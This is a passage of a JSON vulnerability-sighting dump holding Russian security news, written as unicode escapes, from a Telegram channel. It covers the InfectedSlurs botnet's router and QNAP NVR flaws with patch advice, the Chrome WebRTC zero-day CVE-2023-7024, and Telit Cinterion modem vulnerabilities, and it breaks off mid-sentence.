\u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043e\u0436\u0438\u0434\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043e\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0430 \u0434\u043d\u044f\u0445 \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u0447\u0451\u0442\u044b \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c , \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-49897 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Wi-Fi \u0440\u043e\u0443\u0442\u0435\u0440\u044b FXC AE1021 \u0438 AE1021PE. \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 6 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430 \u0441 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0431\u0440\u043e\u0441 \u0434\u043e \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2023-47565 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u0442\u0438\u043f\u0430 Command Injection, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 NVR-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 QNAP VioStor \u0441 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u043e\u0439 QVR 4.x. \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 7 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430, \u0433\u0434\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 QVR 5.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0432\u0435\u0440\u0441\u0438\u044f \u0444\u0438\u0440\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e QNAP 5.0.0 \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430 \u043f\u043e\u0447\u0442\u0438 \u0434\u0435\u0441\u044f\u0442\u044c \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0431\u043e\u0442\u043d\u0435\u0442 InfectedSlurs \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 VioStor NVR, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u043b\u0438 \u0441\u0432\u043e\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\n\n\u0414\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 NVR-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f QNAP \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0448\u0430\u0433\u0438:\n\n\u0412\u043e\u0439\u0442\u0438 \u0432 QVR \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u0432 \u041f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u2192 \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u2192 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u041f\u041e.\n\n\u041d\u0430\u0439\u0442\u0438 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u041f\u041e \u0434\u043b\u044f \u0441\u0432\u043e\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\u0447\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0434\u043e \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u041f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u2192 \u041f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u2192 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u2192 \u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c.\n\n\u041c\u043e\u0434\u0435\u043b\u0438 VioStor NVR, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u0430 End-of-Life (EOL), \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 5.x \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0445 \u0437\u0430\u043c\u0435\u043d\u0430 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-12-18T09:41:54.000000Z"}, {"uuid": "c32d5d2a-0d81-4b70-9b3c-edd2b4c02e71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://t.me/itsec_news/3885", "content": "\u200b\u26a1\ufe0fCVE-2023-7024: \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 0-day \u0432 Chrome \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432\n\n\ud83d\udcac \u0412\u0447\u0435\u0440\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Chrome, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0443\u044e zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 CVE-2023-7024 , \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 WebRTC. \u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044f\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435. \u0412 Google \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2023-7024 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u0430\u043b\u0430 \u0432\u043e\u0441\u044c\u043c\u043e\u0439 \u043f\u043e \u0441\u0447\u0451\u0442\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u00abzero-day\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0432 Chrome \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430.\n\n\u041a \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f:\n\nCVE-2023-2033 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8;\n\nCVE-2023-2136 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 9.6) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0432 Skia;\n\nCVE-2023-3079 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8;\n\nCVE-2023-4762 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8;\n\nCVE-2023-4863 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 WebP;\n\nCVE-2023-5217 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 vp8 \u0432 libvpx;\n\nCVE-2023-6345 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 9.6) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0432 Skia.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u0441\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0442\u0438\u043f\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 2023 \u0433\u043e\u0434\u0443 \u0441\u0442\u0430\u043b\u0438: \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u043e\u043c, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0432\u0432\u043e\u0434\u0430.\n\n\u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Chrome \u043d\u0430 \u043b\u044e\u0431\u044b\u0445 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u044f 120.0.6099.129 \u0438 \u0441\u0432\u0435\u0436\u0435\u0435.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 Chromium, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Microsoft Edge, Brave, Opera, Vivaldi \u0438 \u042f\u043d\u0434\u0435\u043a\u0441 \u0411\u0440\u0430\u0443\u0437\u0435\u0440, \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u043d\u0438 \u0441\u0442\u0430\u043d\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-12-21T10:17:35.000000Z"}, {"uuid": "26652957-0a18-49fb-a0b4-f658f03ea408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47616", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/4408", "content": "\u200b\u26a1\ufe0f\u0412\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043c\u043e\u0434\u0435\u043c Telit Cinterion: \u043a\u0430\u043a \u043e\u0434\u043d\u043e SMS \u0434\u0430\u0451\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n\n\ud83d\udcac\u041e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 Telit Cinterion \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439.\n\n\u0411\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 8 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, 7 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE \u0441 CVE-2023-47610 \u043f\u043e CVE-2023-47616, \u0430 \u0432\u043e\u0441\u044c\u043c\u0430\u044f \u0435\u0449\u0435 \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Kaspersky ICS CERT \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.\n\n\u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041a\u043e\u0437\u043b\u043e\u0432 \u0438 \u0421\u0435\u0440\u0433\u0435\u0439 \u0410\u043d\u0443\u0444\u0440\u0438\u0435\u043d\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044f\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2023-47610 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.1), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 (Heap Overflow), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 Secure User Plane Location (SUPL).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS \u043c\u043e\u0436\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c 